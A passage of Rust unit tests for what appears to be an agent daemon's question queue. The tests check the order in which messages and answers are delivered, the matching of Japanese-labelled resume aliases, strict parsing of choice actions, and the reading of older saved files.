3823 assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3824 q.delivered_turns = q.thread.len();
3825 assert_eq!(q.unread_from_owner(), None);
3826 }
3827
3828 #[test]
3829 fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3830 let (_d, s) = store();
3831 let mut q = choice_question();
3832 s.put(&mut q).unwrap();
3833 q.say("first").unwrap();
3834 q.say("second").unwrap();
3835 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3836 s.put(&mut q).unwrap();
3837 assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3838 let mut out = Vec::new();
3839 deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3840 let shown = String::from_utf8(out).unwrap();
3841 let (a, b, c) = (
3842 shown.find("first").unwrap(),
3843 shown.find("second").unwrap(),
3844 shown.find("SQLite").unwrap(),
3845 );
3846 assert!(a < b && b < c, "{shown}");
3847 assert_eq!(q.delivered_turns, q.thread.len());
3848 assert!(q.answer_delivered);
3849 }
3850
3851 #[test]
3852 fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3853 let mut q = choice_question();
3854 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3855 assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3856 let mut q = choice_question();
3857 q.say("old").unwrap();
3858 q.delivered_turns = q.thread.len();
3859 q.say("new").unwrap();
3860 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3861 let shown = answer_for_agent(&q, "SQLite");
3862 assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3863 }
3864
3865 #[test]
3866 fn recovery_aliases_require_a_unique_offered_structured_effect() {
3867 let mut q = choice_question();
3868 q.choices = vec!["daemon: 再開A".into(), "daemon: 再開B".into()];
3869 for (label, run) in [("daemon: 再開A", "run-a"), ("daemon: 再開B", "run-b")] {
3870 q.actions
3871 .insert(label.into(), ChoiceAction::Resume { run: run.into() });
3872 }
3873 assert!(
3874 q.resolve_reply("再開")
3875 .unwrap_err()
3876 .to_string()
3877 .contains("ambiguous")
3878 );
3879 assert_eq!(q.resolve_reply("resume:run-a").unwrap(), "daemon: 再開A");
3880 q.choices.remove(1);
3881 assert_eq!(q.resolve_reply("実行再開").unwrap(), "daemon: 再開A");
3882 assert!(q.resolve_reply("resume run-b").is_err());
3883 assert!(q.resolve_reply("保留").is_err());
3884 assert!(!ChoiceAction::Requeue.matches_alias("再キュー"));
3885 assert!(!ChoiceAction::Done.matches_alias("完了"));
3886 }
3887
3888 #[test]
3889 fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
3890 let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
3891 let ok = parse_actions(
3892 &[
3893 "resume で続行する=resume".to_owned(),
3894 "wait=done".to_owned(),
3895 ],
3896 &choices,
3897 "run-1",
3898 )
3899 .unwrap();
3900 assert_eq!(
3901 ok["resume で続行する"],
3902 ChoiceAction::Resume {
3903 run: "run-1".into()
3904 }
3905 );
3906 assert_eq!(ok["wait"], ChoiceAction::Done);
3907
3908 let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
3909 assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
3910 assert_eq!(
3911 ChoiceAction::parse("x=requeue", "").unwrap().1,
3912 ChoiceAction::Requeue
3913 );
3914
3915 assert_eq!(
3916 ChoiceAction::parse("x=hold", "").unwrap().1,
3917 ChoiceAction::Hold
3918 );
3919
3920 for bad in [
3921 "no-equals",
3922 "=done",
3923 "x=resume",
3924 "x=resume:",
3925 "x=explode",
3926 "x=done:1",
3927 ] {
3928 assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
3929 }
3930 assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
3931 assert!(
3932 parse_actions(
3933 &["wait=done".to_owned(), "wait=requeue".to_owned()],
3934 &choices,
3935 ""
3936 )
3937 .is_err()
3938 );
3939 }
3940
3941 #[test]
3942 fn only_a_chosen_label_with_an_action_is_actionable() {
3943 let mut q = choice_question();
3944 q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
3945 q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
3946 assert!(q.chosen_action().is_none(), "unanswered");
3947 q.answer(Answer::Choice("resume".to_owned())).unwrap();
3948 assert!(
3949 q.chosen_action().is_none(),
3950 "a label that merely reads like an action does nothing"
3951 );
3952
3953 let mut q2 = choice_question();
3954 q2.choices = vec!["SQLite".to_owned()];
3955 q2.actions
3956 .insert("SQLite".to_owned(), ChoiceAction::Requeue);
3957 q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3958 assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
3959 }
3960
3961 #[test]
3962 fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
3963 let mut q = choice_question();
3964 q.choices = vec!["A".to_owned(), "B".to_owned()];
3965 q.actions.insert("A".to_owned(), ChoiceAction::Done);
3966 q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
3967 q.reply("narrowing", vec!["B".to_owned()]).unwrap();
3968 assert_eq!(q.actions.len(), 1);
3969 assert!(q.actions.contains_key("B"));
3970
3971 let mut v = serde_json::to_value(&q).unwrap();
3972 v.as_object_mut().unwrap().remove("actions");
3973 let old: Question = serde_json::from_value(v).unwrap();
3974 assert!(old.actions.is_empty());
3975 }
3976}